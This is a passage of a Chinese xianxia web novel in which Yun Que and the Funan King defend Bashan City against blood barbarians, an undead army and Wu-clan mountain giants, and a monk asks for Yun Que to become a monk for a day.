现在居然有十多名血蛮汇聚,显然不太正常。 云缺没走,而是提刀走进酒楼。 酒楼里空荡荡,没有人影。 云缺闻了闻,确定酒楼高处还有血蛮气息,于是直奔三楼。 到了三楼,云缺放缓脚步,无声行走。 三楼全是包间,房门紧闭。 云缺一路来到最深处的一个包间门口,一脚踹开大门。 屋子里果然有个披头散发的血蛮,听到响动后,此人一头撞破窗户,跳了出去。 尽管血蛮的动作极快,云缺还是看清了对方的模样。 云缺嘴角泛起一丝冷笑,道: “忽疾,你想往哪逃呢!” 第365章 灭世之音 乌连身为朱邪部第一勇士,本身拥有着五品金身境修为,加上他是血蛮,气血爆发之下战力可以倍增。 此刻的乌连与之前截然不同。 一张大脸毫无血色,面色铁青,眼瞳发红,脖子与手背处能看到凸起的血管,浑身散发着一种阴寒之气。 铁浮屠的战马均有重甲,堪称刀枪不入。 牧忍是阜南王世子,他的坐骑比其他铁浮屠的战马都要好,有妖族血脉,战马本身既有七阶妖物的程度。 如此宝马,却被乌连一拳给硬生生击碎! 当马匹尸体砸在城墙的那一刻,云缺瞬间判断出这一拳的力道。 远超五品! 乌连的一拳之力,几乎达到了四品破军境的威能! 城头上响起阵阵惊呼。 白厌与闫罗李玄驹等人对乌连的战力无比惊讶。 面对如此强敌,只有六品境界的牧忍绝无胜算! 城下,牧忍弃马后刚刚站稳,乌连已然冲到近前,铁锤般的拳头猛然砸落。 牧忍痛失宝马,怒意大起,以全力斩出重刀。 咔!!! 重刀斩在铁拳上,非但没能破开拳头,反而刀身被拳劲折为两半。 手持断刀的牧忍整个人倒飞出去,跌出十几丈,双臂几乎失去感觉。 乌连大步而行,冲向牧忍。 看架势,这位朱邪部第一勇士要把世子生撕了才肯罢休。 一旁的铁浮屠纷纷围攻而来,保护世子殿下,却没什么用处,被乌连三拳两脚打飞一片。 片刻之间,乌连到了牧忍近前,低吼着再次轰出一拳。 这一拳打出的同时,空气被震出一层层波纹,可见拳力到了一种恐怖的程度。 城下的交锋,发生得太快,城头上的众人刚回过神儿来,乌连的重拳已经朝着牧忍的脑袋砸去。 闫罗与李玄驹来不及施法,白厌正要弯弓搭箭。 这时阜南王动了。 没有冲向城外,而是一脚踢向垛口,踢出一片砖石。 随后阜南王一拳轰出,砸在一块比较完整的青砖上。 云缺就在旁边,眼睁睁看着阜南王奇怪的举动。 如果是云缺自己砸青砖,肯定能一拳砸碎,可是碎裂的砖头能有什么用? 根本救不了人! 很快云缺瞪大了眼睛,阜南王的拳头结结实实轰在青砖上,但砖石仍旧完好无损,在空中犹如一道利箭般呼啸而出! 这块青砖,不偏不倚撞在乌连拳头上,发出一声闷响。 青砖碎裂成齑粉。 乌连的拳力被完全化解,整个人被青砖上的力道震得倒退两步。 阜南王脚踩城头,直接飞掠而出,在半空如履平地,很快到了乌连面前,二话不说,挥拳而上。 乌连嘶吼着反击,两人恶战在一处。 阜南王亲自出手,云缺毫不意外,毕竟乌连要打杀牧忍,阜南王哪能不闻不问。 自己儿子被欺负,当爹的自然要出头。 白厌收起长弓,羡慕道: “破军强者的力量运转已经炉火纯青,一块青砖承载万钧之力而不碎裂,如此手段,身为五品简直不敢想象。” 闫罗道: “四品强者确实可怕,身边所有物品都能当做武器,一块石头,一把沙子,乃至一片落叶均可杀人,防不胜防,面对如此对手,我们道家修士很难占到便宜。” 白厌赞同道: “破军武者的力道运用,弥补了武夫只能近身作战的最大缺陷,战力提升到极致。” 白厌随即下令禁军出城,协助铁浮屠击杀血蛮。 有阜南王亲自出手,此战大局已定。 阜南王一出手,立刻压制住乌连,打得乌连节节败退。 尽管有血蛮之力与怪雾气息加持,乌连本身仍是五品而已,对上阜南王这种四品巅峰强者,基本没有胜算。 落败,只是时间而已。 云缺看着城外恶战,心中暗暗感慨。 四品破军的战力实在恐怖。 云缺与凉北川交手过两次,每次都是凉北川狼狈而逃,但有前提。 第一次是幽人妖化,爆发出四品战力,第二次是阜南王在场,亲自出手压制。 如果没有幽人与阜南王,云缺除非不计代价妖化,否则绝不是破军武夫的对手。 即便完全妖化,想要击杀破军也很难,毕竟破军强者的本体淬炼到一种强大的地步,想要击杀难如登天。 云缺现在对五品金身已经不期待了,开始向往着破军境。 看出老丈人稳赢,云缺询问道: “刚才那块青砖,是不是类似隔山打牛。” 白厌道:“差不多,通过控制力量令其聚而不散,达到隔山打牛,牛死而山不崩的效果。” 云缺道:“换成一团棉花呢,能不能承载万钧之力?” 白厌道:“棉花太轻,寻常四品未必做得到,不过四品巅峰强者有可能做到。” 云缺拿出一张一百两的银票,道: “既然棉花能承载万钧之力,银票也行吧。” 白厌愣了下,道:“银票……好像没人试过,或许可以。” 云缺点了点头,用右拳砸了下银票,道: “我提前砸进万钧之力,再把银票拍给白将军,效果一定不错。” 说着云缺将银票轻飘飘拍在白厌身上。 白厌僵住一瞬,浑身没来由的颤抖了一下,张了张嘴,有些话实在不好说出口。 你这招数,肯定有奇效不假,但有一点。 太不是人了吧! 这是正常人能想出来的招数? 拿别人银票,多说手短,拿你银票,那是命短。 云缺收起银票,笑容古怪的嘀咕道: “到了四品,银票,灵符,灵丹,灵草,请帖,圣旨,便签,都能成为武器,真好,到时候就不用动武了,有敌人就文斗。” 李玄驹在旁边听得奇怪,问道: “四品破军,与人文斗?优势全无啊,你怎么赢?” 云缺解释道: “文斗就是互喷嘛,我的口水有万钧之力,别人喷我一脸,过后我洗把脸就行,我喷别人一脸,他脸都没了,我稳赢啊。” 听完后,白厌,闫罗,李玄驹齐刷刷打了个寒颤。 都在心里翻出个小本子,记好一行字: 等云缺到了四品,他给的东西不能要,他张口立刻跑远点…… 不大会儿的工夫,乌连已经被阜南王打得口喷鲜血,只剩招架之力,连还手的力量都没了,脚下不断陷入地面,硬生生被阜南王砸进地底。 云缺看得憧憬不已,道: “四品巅峰都如此可怕,三品武夫岂不是更加恐怖。” 白厌深吸一口气,神色凝重的道: “一己之力破千军,大道朝天任我行,这句话用来形容四品破军最为恰当,也足够霸气,而三品的描绘则简单得多,只有四个字,返璞归真。” “所有修炼体系均有上中下三个大阶段的区分,世上能达到上三品的修士,少之又少,无一不是天赋异禀之人,武夫三品为归真境,此境界最大的改变是驾驭天地之力,换句话说,可以压制天地气息,控制附近的五行之力。” 第366章 小僧去也 百玉城,老树商行。 商行的东家是个六旬老者,此刻正在骂着家丁。 “这都多少天了,还没搬完,再偷懒你们全都滚蛋!到了八山城看谁能收留你们这群饭桶!” 一名管事苦着脸道: “东家息怒,不是我们偷懒,实在是商行的东西太多了,百玉城里到处是我们商行的产业,客栈里的桌椅要搬,酒楼里的装饰也要搬,东西实在太多,运了三天连一半都没运完。” 商行东家一听,立刻大怒,骂道: “知道东西多,还这么磨磨蹭蹭!那些桌椅装饰都是钱!不搬走被人偷了怎么办,你赔吗!” 管事的不敢吭声,知道东家是个小气鬼,最开始连客栈酒楼都想拆掉,把木头瓦片全都搬走,后来觉得工程浩大,这才罢休。 商行东家骂累了,气呼呼的道: “不能再耽搁了,你去雇点人手帮着搬东西,到北街找,那边便宜,一天给十个铜板,他们都得抢着来。” 管事的苦着脸道: “东家,城里没人了,现在满城就剩我们商行还没搬空,其他人家早到了八山城。” “没人?” 商行东家懊恼道:“这帮穷鬼,家徒四壁,搬家倒是方便了,我呸!到了八山城他们也是一辈子穷命!只要我们老树商行入驻八山城,将来必定一家独大,一群穷鬼,让他们跑得快,等老子吸干他们的血汗钱!” 轰隆,轰隆,轰隆…… 商行东家正骂着呢,忽然听到阵阵闷响,好像城墙坍塌的响动,越来越近。 “怎么回事?到底什么声音!” 商行东家慌了,地面不断的震荡令他心神不宁,急忙吩咐道:“快、快走!桌椅都不要,现在就出发!” 家丁们手忙脚乱的准备出发,随后人们发现拉车的马匹出现古怪。 所有马儿全部趴在地上,浑身颤抖,一动不动,无论怎么甩鞭子,就是不肯动弹一下。 看到马匹的异样,商行东家立刻冒出冷汗。 他觉得大事不妙,急匆匆走出院子,想要出城。 结果还没来到门口,商行东家看到了一只脚。 一只硕大无比,脚趾比他还高的巨大脚掌! 那脚掌完全由石头组成,从天而降,踩在院门处,将院门与院墙直接踩成齑粉,巨大的轰鸣响彻四周。 商行东家傻在原地,浑身颤抖,屎尿齐流,吓得魂不附体。 到处是浓雾,他根本看不出那只脚究竟是什么怪物,只能看到前半个脚掌而已。 脚掌抬了起来,越过了商行,踩在院子后门。 一步而已,横跨一间三进三出的大院子! 轰鸣声远去。 商行东家瘫倒在地,心里一个劲念佛,庆幸着自己逃过一劫。 可是很快,又一只大脚从天而降! 轰隆…… 巨大的石脚落下,又抬起,继续朝前行走。 商行东家不见了。 原地只剩下一滩血泥。 轰鸣声不绝不断,一只又一只巨大无比的石脚从老树商行经过。 最初还有家丁惊恐的哀嚎声,很快便再无声息,整个百玉城逐渐坍塌碎裂,直至化作废墟,天地间只剩下无尽的轰鸣。 …… 乌鸡镇。 小镇上空无一人,所有百姓早已搬迁到八山城。 第367章 神魔之血白骨阶梯 八山城下,第一具尸体沿着城墙往上攀爬,快如猿猴。 紧接着第二具,第三具,直至无数尸骨铺满了城墙! 尸骨中掺杂着血蛮。 这些血蛮刚刚被铁浮屠击杀,全是尸体,浑身鲜血淋漓,有的脑袋都掉了仍旧往城上爬来。 数之不尽的亡者,在此刻汇聚成军,攻上八山城。 “杀!” 阜南王脚踏城头,一道拳风砸飞一片尸体。 其余众人纷纷出手。 云缺砍落几具尸体后,觉得十分蹊跷。 看似凶猛的亡者大军,其实不堪一击,无需妖刀,毒牙刀即可扫出去一片。 除了血蛮尸体战力不弱之外,其余尸体十分普通,与没有修为的普通人相差不多。 城墙上有禁军与铁浮屠,加上阜南王坐镇,攻城的尸体再多也无济于事。 根本冲不进城里。 城下的亡者大军,无法造成地面震荡。 大地的轰鸣越发沉闷,犹如一道道闷雷回荡不休,由远及近。 大雾里,一定藏着更可怕的东西! 亡者大军如潮水般涌来,又被纷纷斩落城下,很快,八山城下堆积出如山的尸骨,好似阶梯,后面的尸体更能轻易爬上城头。 闫罗施展法术轰飞一片尸体后,疑惑道: “大多是寻常尸体而已,没多少战力,来得再多也白搭,控制这些尸体攻城有什么用?” 闫罗的疑惑,白厌与李玄驹也一样不解。 阜南王始终皱着眉,面色凝重。 云缺望向城下,道: “填坑,用尸体堆出个斜坡,方便落脚,后面肯定有更狠的东西要来!” 众人恍然大悟,随后愈发震惊。 八山城的城墙极高,易守难攻,如果以无数尸骸当做砖石,堆出个斜坡来,那么真正的大军攻城就简单多了。 踩着尸骨冲上城头即可! 云缺忽然又道: “不对,尸骨大军堆积的速度不会太快,短时间内达不到堆上城头的效果,而轰鸣声越来越近,大雾里的东西很快就要到了,踩着半城高的尸骨冲不上城头,除非……” 说出除非二字,云缺目光忽然变得冷冽。 李玄驹焦急道:“除非什么?” 云缺沉声道: “除非对方只需要两步即可跨越城墙,一步踩在尸骨堆上,一步,踩上城头!” 云缺对于白骨阶梯的说法,李玄驹白厌几人一时没想明白。 两步登城,五品金身也难以做到,除非像阜南王那等四品强者,可如果是破军强者,无需阶梯,直接踏空即可越过城头。 别人没想明白,阜南王已经想到了云缺所描述的画面。 “巨兽……” 阜南王低语中,朝着大雾深处再次轰出四拳。 强劲的拳风,吹开了迷雾。 数百丈外开的景物,随之变得清晰起来。 城头上的人们,看到了山。 一座移动的山! 山体比城墙还高,人形状态,一步迈出即有十余丈,石脚落地发出沉闷轰鸣,石头脑袋上有着两个洞窟般的凹陷,其内闪烁着幽蓝之光,犹如双眼。 看到山岳般的巨人之际,城头众人无不惊诧莫名。 于此同时,由于大雾被拳风震开,来自山岳巨人的气息随之传来,堪比四阶妖兽! 云缺一眼认出,低喝道: “山岳力士!” 出现在八山城外的巨人,正是当初伪装成双角山,后来被楚红莲唤醒的巫族怪物,山岳力士! 白厌运转全力,一箭飞出,扎在山岳力士头顶,将岩石炸开一个大洞,却没能阻止山岳力士半步。 山峦般的巨人继续抬起大脚,朝着八山城走来。 闫罗惊呼道: “山顶有人!” 城头众人仔细看去,果然山岳力士头顶的一棵大树旁,站着一名黑袍人。 山体太过庞大,以至于让人们忽略了山顶的活物。 “巫族……”云缺冷声低语。 不用问,山岳力士这种怪物,必定从十万大山而来,横跨知远县,才能抵达八山城。 让云缺心头发沉的是,轰鸣声并不仅仅来自对面的山岳力士,还有更多轰鸣声不断响起在大雾深处。 山岳力士,绝非一个! 藏身十万大山的神秘巫族,终于现身而出,带来了一场毁灭般的劫难。 阜南王虚空而立,盯着接近的巨兽,目光中战意大起。 下一刻,阜南王脚下踏出波纹,冲向山岳力士。 山岳力士停下脚步,抬起硕大的手臂,拍向阜南王。 与山岳力士相比,阜南王是渺小的,如同大树面前的蚍蜉。 但阜南王可不是寻常蚍蜉,不仅能撼动大树,还能摧毁大树! 四品巅峰的修为,被阜南王尽数施展,凌空一拳,硬撼山岳巨人的大手。 轰隆隆!!! 山岳力士庞大的手掌,被阜南王一拳砸穿,破开个大洞。 阜南王冲过孔洞后,直接落在山顶。 面前,是一名枯瘦的黑袍老者,皮包骨,双手下垂,指尖处不断滴落着金色血液。 血液落地后,立刻渗入地底。 牧辰冷声道: “神魔之血,果然是巫族,你以自身血液化为养料,催动山岳力士。” 黑袍老者枯槁的脸上,挤出个难看的笑容,抬起右手指向阜南王,口中发出沙哑的一个字。 “咒。” 随着咒字出现,牧晨身上忽然冒出一块块大小不一的岩石,层层叠叠,片刻间铺满浑身。 眨眼而已,阜南王变成了山顶的一块巨石! 来自巫族的诡异咒术,令人防不胜防,言出则法随,毫无征兆。 城头上的众人看到这一幕,无不惊恐。乐文小说网 “王爷!” 一众铁浮屠眼睛通红,争先恐后要出城去拼命。 牧忍大喝一声:“守!” 世子的号令,铁浮屠不敢不听,继续坚守城头。 云缺站在城头没动。 他知道阜南王的战力,绝非一头山岳力士就能打败的,即便巫族出世,四品巅峰的破军强者也有一战之力。 果不其然,山顶巨石很快出现裂痕。 咔嚓嚓一阵脆响后,岩石崩碎,现出阜南王的身影。 毫发无损,安然而立! 树下的巫族老者低沉道: “破军……” 他知道咒术对阜南王无效,手指滴落的血迹开始变快,几乎连成一条线,尽数没入地面。 老者脚下的山岳力士在脑袋下面张开大口。 吼!!! 雷鸣般的怒吼中,山岳力士挥动两条石头手臂,砸向阜南王。 如此状态的战斗,云缺曾经亲身体会过。 山岳力士看似笨拙,但力量惊人,防御力更是极强。 四品破军尽管足够强悍,但比拼身体强度绝非上策,毕竟武夫是血肉之躯,山岳力士身体断裂无关紧要,武夫一旦被砸中,非死即残。 阜南王脚下一动,快速避开砸来的大手。 紧接着飞身跃上巨石手背,几步越过大手,一拳轰向树下的巫族老者。 老者仰头望着袭来的铁拳,忽然张口发出尖锐之音。 咔!咔!咔!咔! 老者脚下的地面,突然冲出一根根石锥。 石锥高有数丈,形成一片锋利的石林,将老者护在其中。 从城头望去,此时山岳力士的头颅顶端犹如长出了头发,根根直立。 石锥冒出的速度极快。 阜南王不得不停止冲锋,向上跃起,堪堪避开石锥。 对于所有武夫来说,近身才能获得最大优势,距离一旦拉开,对武夫极为不利。 跃到半空,阜南王接连三拳,砸碎三根石锥,终于看到老者身影。 正想继续冲杀,那老者忽地抬起双臂,吐出一字。 “藤。” 哗啦啦!! 地面上出现大片藤蔓,在石锥之间互相缠绕,形成丛林般的形态。 黑袍老者的身影再次消失。 牧辰目光泛冷,双拳互相对撞。 呼!! 火光大起! 阜南王撞击的双拳,犹如点燃了烽火,烈焰升腾。 紧接着阜南王由上至下,双拳同出,砸向地面。 轰隆隆!!! 整个山顶震荡起来。 熊熊烈焰瞬间弥漫开来,笼罩整个山顶,藤蔓陷入火海当中,好似无数怪蛇般被烧得不断扭曲。 从阜南王登到山顶,到烈焰大起,仅仅几个呼吸的时间而已。 云缺看得无比眼热。 阜南王的烈焰双拳,笼罩范围之大,实在惊人! 云缺自己就会烈焰拳,相比之下,连阜南王施展的两成拳力都达不到。 四品破军的拳法,太过可怕。 不仅云缺,白厌闫罗李玄驹都在惊叹不已。 白厌捏紧的双拳在微微颤抖,眼神中满是激动之色。 对五品金身境的武者来说,能亲眼目睹破军强者出手,绝对是一场难得的机会。 从阜南王对战山岳力士这短短的过程中,白厌学到的东西,他自己苦苦摸索一年也未必能有所收获。 闫罗与李玄驹看得心惊肉跳。 身为道门与儒家修士,实在无法想象在如此近距离的情况下,与一头达到四阶程度的山岳力士肉搏。 这种事只有武夫才做得出来。 也只有武夫,才敢如此硬拼! 关键敌人不止一头山岳力士,还有那黑袍的巫族老者。 云缺在心里猜测,巫族老者很可能是一名四品咒言师,与楚红莲同等境界。 因为四品咒言师才能瞬间施展咒术,达到言出法随的奇效。 云缺不由得替老丈人担忧起来。 阜南王以四品破军境,对战一头四阶的山岳力士,外加一名四品咒言师,相当于以一敌二! 云缺的担忧,很快得到验证。 山顶的火海开始倾斜,并非火焰流走,而是山岳力士仰起了头。 下一刻,巨大的山岳力士忽然跳了起来,一跃十余丈,一口将半空的阜南王吞没。 第368章 昨天大婚今天出家 剧烈的轰鸣声传来。 山岳力士双脚落地,砸出一片滚滚沙尘。 城头上的众人惊得瞠目结舌。 没人能想到,山岳力士如同山峦般的笨重身体,举起还能跳起那么高! 阜南王被吞入山岳力士口中,生死不知! 牧忍眼睁睁看着亲爹被吞,怒吼道: “开城门,铁浮屠冲锋!” 他也不守了,也不一个字的蹦了,急得满头大汗。 白厌闫罗与李玄驹各自准备好出城恶战,拼了命也得援助阜南王。 云缺始终观察着战局。 当初对战山岳力士的时候,他处于妖化状态,神智模糊不堪,不清楚山岳力士究竟有多可怕,完全借助月魁的力量在战斗。 被山岳力士吞掉会有什么后果,云缺并不清楚,但他相信阜南王不可能就此陨落。 那可是四品巅峰的破军强者! 半步三品! 不等众人出城,云缺忽然出声道: “等等,你们听!” 众人纷纷侧耳倾听。 嘭,嘭,嘭…… 擂鼓般的闷响,从远处传来。 声音沉闷,好像隔着一座山,仔细辨认,竟是从山岳力士的身体中传出! 嘭嘭声越来越快,声音越来越响,最后轰隆一声,山岳力士的头顶碎裂开来,被砸出一个大洞! 阜南王的身影从洞中一跃而出。 城头上,众人见状松了一口气。 山岳力士发出低沉吼声,两只大手朝着头顶拍来。 阜南王站定于山顶,衣袍无风自动,磅礴的气机在身后组成一尊重甲战神般的虚影。 只见阜南王抬起右手,朝着山顶一拳砸下,低吼道: “力破千军!” 嗡!!! 落下的铁拳带出刺耳嗡鸣。 在城头上的众人看来,阜南王砸下的不是一拳,而是一道从九天而来的闪电! 阜南王身后的虚影同样砸下一拳。 轰隆隆!!!!!! 山石崩裂,大地震颤! 一拳之威,力破千军! 阜南王这全力一击,将山岳力士的头颅完全砸碎,大片岩石崩裂开来。 庞然大物的身影,在轰鸣中倒地。 尘土飞扬之中,阜南王踩在一块最大的岩石上负手而立。 短暂的一场恶战,令城头众人大开眼界。 四品巅峰的破军武夫,战力简直骇人! 随着山岳巨人崩碎,那黑袍老者现出身影,枯槁的老脸苍白如纸,气息微弱,到了濒死之际。 阜南王盯着不远处的老者,冷声质问: “巫族,为何进攻大晋。” 黑袍老者并不答话,仰头望着天空,沙哑低语: “长人千仞,惟魂是索。” “增冰峨峨,飞雪千里。” “一夫九首,拔木九千。” “悬人以嬉,投之深渊。” “致命于帝,然之得瞑,魂兮,归来……” 咏念完一段晦涩难明的咒言后,黑袍老者瞬间干瘪,如同枯萎的藤蔓般卷缩成一团,直至碎裂为满地齑粉。 巫族老者彻底死掉。 自始至终,没与阜南王说过半句话。 巫族老者死掉之后,阜南王没来由的觉得身边掠过一股寒气。 城头之上,白厌闫罗众人齐齐打了个寒颤。 阴冷的诡异感觉,出现在空气当中。 不是冷风,也非霜雪,而是一种奇异的阴冷,诡谲中透着令人心悸的感觉。 阜南王踏空而起,返回城头。 尽管阜南王安然无恙,但云缺发现老丈人的气息明显比出战之前弱了不少。 同时对战山岳力士与咒言师,阜南王消耗掉极大的气机。 白厌道: “王爷战力无双,下官心服口服!” 闫罗道: “王爷的手段实在厉害,对战两名四品强者仍旧全胜而归,四品破军果然强悍。” 牧忍在旁边听得很是自豪,称赞他爹好像在夸他似的。 阜南王此时神色忽然一变,喷出一口鲜血。 “爹!”牧忍大惊。 其他人错愕不已。 阜南王一摆手,道: “小伤,无妨,山岳力士腹中有一股强悍的巫蛊之力,四品破军境只能勉强抵挡,五品必亡。” 白厌听闻倒吸一口冷气。 连阜南王都被巫蛊之力伤到,他这种五品金身一旦被吞掉,毫无活路可言。 看似笨拙的山岳力士,居然如此可怕! 阜南王受创,令众人心里蒙上一层阴影,尽管伤势不重,可大地的轰鸣声始终没停。 云缺沉声道:“不止一头山岳力士……” 阜南王缓缓点头,神态凝重道: “足有数百之多,大晋,危矣。” 从地面震荡的规律,阜南王大致猜测出山岳力士的数量。 白厌闫罗李玄驹众人齐齐神色骤变,人们的脸色都变得苍白起来。 一头山岳力士就如此可怕,连阜南王都能受创,数百头的话,岂不是无人能敌! 数百头山岳力士,相当于数百位四品强者! 城头上鸦雀无声。 所有人的心里都开始渐渐绝望。 如果当真有数百头山岳力士,非但八山城保不住,整个大晋也保不住! 百位四品,足以横推一国! 压抑的气氛中,有脚步声传来,一位胖大的和尚登上城头。 众人回头看去,有人认得,但大部分人都觉得陌生。 云缺一眼认出,来者正是佛心殿先生,晦心禅师。 “阿弥陀佛,王爷别来无恙。” 晦心禅师的胖脸上始终挂着温和笑意,走到近前宣佛号打招呼。 云缺以为对方跟自己说话,正要还礼,只听阜南王开口道: “一别多年,禅师风采依旧。” 云缺没吭声,原来老丈人与晦心禅师还是旧识。 晦心禅师微笑道: “当年王爷年纪轻轻,风头正盛,如今虽至中年,仍旧神采不减当年,而贫僧却老喽,岁月不饶人啊,贫僧此次来八山城,是想做一场法事,不知王爷可否行个方便。” 阜南王闻言立刻眼前一亮,道: “禅师德高望重,自可在此开坛做法,只是外面……” 晦心禅师笑着摆手打断了阜南王后面的话,道: “祸起红莲,大晋百姓亡故百万,冤魂不散,受人控制西聚于此,贫僧这场法事,便是为了外面的亡魂而做,只可惜晚了些,若非材料不足,贫僧早该动手才对。” 晦心禅师的语气中充满遗憾。 云缺知道佛心殿学子曾经在北域寻找材料用来做法事,在鸿儒殿的时候,更遇到过晦心禅师,并且替牧青瑶答应了对方收集法事所用的材料。 晦心禅师早有做法之意,只是没料到西聚的亡魂已经被巫族利用。 云缺终于明白过来。 大雾里的气息,之前的亡者大军,甚至山岳力士复苏,都是巫族利用无数亡魂所制造出的结果! 至此,云缺想通了很多事。 红莲教的出现,并非为了覆灭大晋,真正目的是制造杀戮,从而出现大量亡魂,最后利用这些亡魂来唤醒更多的山岳力士! 阜南王闻言心头大喜。 只有晦心禅师出手,城外的山岳力士才有可能停下脚步。 大晋才能保住! “小王替大晋百姓,谢过禅师。”阜南王深施一礼。 晦心禅师微笑道: “王爷无需客气,做法之前,贫僧有个请求,当年贫僧的提议,王爷考虑了这么多年,可曾有答案。” 阜南王的脸色立刻变得古怪起来,皱眉道: “当年禅师说我有慧根,与佛门有缘,说实话,小王对佛门不感兴趣,如果禅师出手的条件是让我皈依佛门,小王便如禅师所愿。” 晦心禅师颔首道: “铁血手段,又心怀苍生,王爷的确是帝王之相,贫僧不会为难王爷,此事过后,无需王爷阪依佛门,只要王爷指派一名传承之人入我佛门即可。” 阜南王闻言松了一口气。 但云缺的心,却提了起来。 传承之人! 能涉及传承的必定是亲近之人,亲生子女,真传弟子之类,或者是女婿。 牧忍还没听出来什么危机呢,云缺先不着痕迹的往后退了一步,躲在大舅哥身后。 阜南王皱起眉头。 他没有亲传弟子,心腹倒是不少,全是铁浮屠。 杀人不眨眼的一群边军悍卒,怎么去当和尚? 晦心禅师微笑道: “王爷无需为难,比王爷更适合佛门的人选,远在天边,近在眼前,退一步海阔天空,懂得激流勇退者,亦可一往无前,此等心智,天生有颗佛门慧心。” 阜南王皱眉道:“禅师所言的人选是……” 晦心禅师笑着指向牧忍。 牧忍愣了愣,脸色顿时发苦,他的脾气最适合铁浮屠,当和尚实在难为人。 云缺松了口气,小声劝慰道: “放心吧兄长,和尚也能还俗的,你在庙里好好念经,我帮你看着花不谢,肯定不让别人把她抢走。” 牧忍苦着脸回头点了点头,对云缺的承诺十分感激。 这时就听晦心禅师的声音响起: “人选便是平天王。” 云缺的表情立刻僵住,张着嘴巴虽然没出声,但心里已经开始骂娘。 老子昨天刚刚大婚,今天让我出家当和尚? 玩呢! 这时众人都反应了过来。 原来晦心禅师所说的退一步海阔天空,指的就是云缺刚才不动声色的退后那一步。 阜南王为难了起来。 毕竟云缺是姑爷,让姑爷出家当和尚,女儿不得守活寡么。 阜南王看了看云缺,转向晦心禅师道: “禅师,能否换个人选?” 第369章 你不在红尘谁在红尘 《斩妖》全本免费阅读 阜南王这么一说,云缺提着的心,终于安稳了几分。 最好让牧忍去,反正大舅哥没媳妇,实在不行让私生子鸿影去,当几年小和尚正好磨练一番蛮族的野气。 晦心禅师笑道: “巫族之劫,贫僧误入因果,这场法事有些迟了,我的因果,我来承担。今日之劫,是大晋的因果,也是王爷的因果,贫僧只有这一个要求,还望王爷能答应。” 晦心说得云山雾罩,但众人大致听得出来,人家就要云缺,别人不行。 大雾中轰鸣渐近,阜南王的眉峰越锁越紧,沉声道: “云缺刚刚大婚,不适合入佛门,此战过后,本王随大师遁入空门。” 众人听罢无不赞叹,阜南王的担当,不服不行。 宁可自己去出家,也不让女婿当和尚。 云缺很是感动。 反正老丈人有妻有妾,有儿有女,该享受的早享受过了,正好去佛门清净地闭关冲击三品,一举双得。 晦心闻言缓缓摇头,笑道: “若是当年,王爷想要皈依佛门,贫僧求之不得,但现在不行,王爷代表着大晋气运,你遁入空门,大晋气运将就此断绝,况且云缺比王爷更适合佛门,他与佛有缘,与贫僧有缘。” 云缺一听气不打一处来,问道: “先生此言差矣,我们只在学宫见过一面,谈何有缘?” 晦心望向云缺,微笑道: “你刚才退的那一步,为慧缘,你的封号天王是佛门护法天神,为佛缘,之前在学宫相遇,你答应的收集法事器具,为善缘,平天王与佛门有三缘之功,是最具佛根之人。” 云缺眼皮直跳,恼怒道: “我觉得与佛门无缘,就算有缘,也是孽缘!” 晦心禅师始终面带笑意,道:“孽缘,亦是缘。” 云缺恨不得掐死眼前的胖和尚,气得咬牙切齿。 我也没得罪佛门啊,怎么给我安上个三缘之功?昨天洞房意犹未尽,今晚还要接着睡呢,当了和尚算什么事呀! 哪怕入道门,云缺都不会如此抗拒,道家有道侣,能成亲。 和尚是肯定不能娶媳妇的。 就算之前娶了,那也不能睡了。 阜南王的脸色变 得不太好看,出言道: “禅师此言,实在有些强人所难。” 众人看得出阜南王不打算让云缺入佛门,大家都很理解,毕竟新姑爷去出家,这种事实在让人难以接受。 晦心禅师微笑道: “王爷无需多虑,佛门不渡无缘之人,也不会强迫有缘之人,只要云缺帮忙送封信到大唐雷音寺,并在寺里当一天和尚即可,之后他是去是留,全由他自己做主。” 闻听此言,阜南王立刻点头道: “可以,我答应了。” 云缺张了张嘴,心说我没答应呢! 一天和尚的期限,阜南王不会有半点犹豫,远处大雾里传来的轰鸣已经很近了。 大晋有灭国之危,如果用一天和尚的代价换取晦心禅师出手,阜南王认为这笔买卖绝对划算。 云缺没吭声。 这种生死关头,用不着讨价还价了。 得到阜南王的答复后,晦心禅师哈哈一笑,盘坐在城头,开始咏念经文。 声音不大,低沉而有力,念的是往生咒。 随着晦心禅师咏念的声音,他周身浮现出金色光泽,那光泽缓缓扩散开来,先是笼罩城头,而后笼罩整座八山城,不断扩大。 金光如同朝阳一般,驱散了大雾。 大雾发出嗤嗤轻响,如同冰水遇到烈焰,逐渐消弭。 云缺以妖力覆盖双眼,能看到大雾中不断有亡魂在消散。 佛门秘法,效果确实惊人。 金光散开的距离越来越远,不多时,城外数百丈的大雾消失,现出了一座座移动的高山。 山岳力士从大雾中现身而出,依旧迈动着步伐,朝着八山城接近。 数量不知有多少,隐约能看到后方的大雾里还有许多高大身影。 云缺握紧了妖刀。 城墙上的众人做出战斗准备。 晦心禅师的超度,虽然对亡魂有效,未必能阻挡山岳力士。 云缺死死盯着最接近城墙的一头山岳力士。 怪物头顶,同样站着一名黑袍巫族,容貌枯槁,瘦得皮包骨,看不出多大年纪。 此人指尖在不断滴落血迹,没入山岳巨人头顶。 大雾在退散。 越来越多的山岳 力士显现出身影! 足有近千之数! 庞大的躯体顶端,都站着一名巫族,同样枯槁瘦削,同样双手滴血。 阜南王此时目光中充满忌惮之色。 其他人更是脸色苍白,心神巨震。 成群的山岳力士所带来的压迫感,即便阜南王这种四品巅峰也觉得心惊不已。 轰鸣中,犹如无数高山在碾压而来。 如果挡不住,整个大晋将被踏为平地! 城墙下已经堆积起无数尸骨,山岳力士只要踩上尸骨,即可一步登上城头。 真要让山岳力士冲进八山城,铁浮屠与禁军无异于一群弱小的蚂蚁,城里的百姓会被踩成肉泥! 城头上没人开口。 唯有晦心禅师的咏经声,伴着山岳力士踩出的轰鸣回荡在天地之间。 当第一头山岳力士距离城墙不足百丈之际,晦心禅师的声音忽然高昂起来。 金光之中,开始出现流转的经文。 每个经文都有指甲盖大小,密密麻麻铺满天空,仿佛将天地间串联了起来,无比壮观。 云缺看得震撼不已。 晦心禅师不知有多高的修为,施展出的手段绝不在阜南王之下。 三品? 还是二品? 云缺猜测着晦心禅师的修为,阜南王则沉浸在佛门之力的玄奥当中。 不止阜南王, 白厌,闫罗,李玄驹,牧忍等人此刻的神色全都变得十分安详。 之前准备随时恶战的状态消失不见,目光平和,神态轻松。 仿佛面对的不是毁天灭地的山岳力士,而是一场温和清风,不再有杀戮的暴躁,不再有阵前的雄风。 云缺很快发现了众人的不同。 因为旁边的牧忍变得太松懈了,手里的长刀没握住,直接掉在地上。 云缺暗暗心惊。 